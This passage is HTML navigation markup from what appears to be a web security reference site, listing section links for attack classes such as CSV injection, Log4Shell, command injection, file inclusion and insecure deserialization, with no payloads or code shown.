<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
CSV Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_8">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
CSV Injection
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../CSV%20Injection/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
CSV Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
CVE Exploits
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_9">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
CVE Exploits
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../CVE%20Exploits/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Common Vulnerabilities and Exposures
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
CVE-2021-44228 Log4Shell
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Clickjacking
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_10">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Clickjacking
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Clickjacking/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Clickjacking
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Client Side Path Traversal
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_11">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Client Side Path Traversal
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Client%20Side%20Path%20Traversal/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Client Side Path Traversal
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Command Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_12">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Command Injection
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Command%20Injection/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Command Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Cross Site Request Forgery
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_13">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Cross Site Request Forgery
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Cross-Site%20Request%20Forgery/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Cross-Site Request Forgery
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
DNS Rebinding
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_14">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
DNS Rebinding
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../DNS%20Rebinding/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
DNS Rebinding
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
DOM Clobbering
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_15">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
DOM Clobbering
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../DOM%20Clobbering/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
DOM Clobbering
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Denial of Service
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_16">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Denial of Service
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Denial%20of%20Service/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Denial of Service
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Dependency Confusion
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_17">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Dependency Confusion
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Dependency%20Confusion/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Dependency Confusion
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Directory Traversal
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_18">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Directory Traversal
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Directory%20Traversal/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Directory Traversal
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
File Inclusion
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_19">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
File Inclusion
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../File%20Inclusion/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
File Inclusion
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
LFI to RCE
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../File%20Inclusion/Wrappers/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Inclusion Using Wrappers
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Google Web Toolkit
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_20">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Google Web Toolkit
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Google Web Toolkit
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
GraphQL Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_21">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
GraphQL Injection
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../GraphQL%20Injection/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
GraphQL Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
HTTP Parameter Pollution
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_22">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
HTTP Parameter Pollution
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
HTTP Parameter Pollution
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Headless Browser
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_23">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Headless Browser
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Headless%20Browser/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Headless Browser
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Hidden Parameters
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_24">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Hidden Parameters
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Hidden%20Parameters/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
HTTP Hidden Parameters
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Insecure Deserialization
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_25">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Insecure Deserialization
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Deserialization/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Insecure Deserialization
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
.NET Deserialization
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
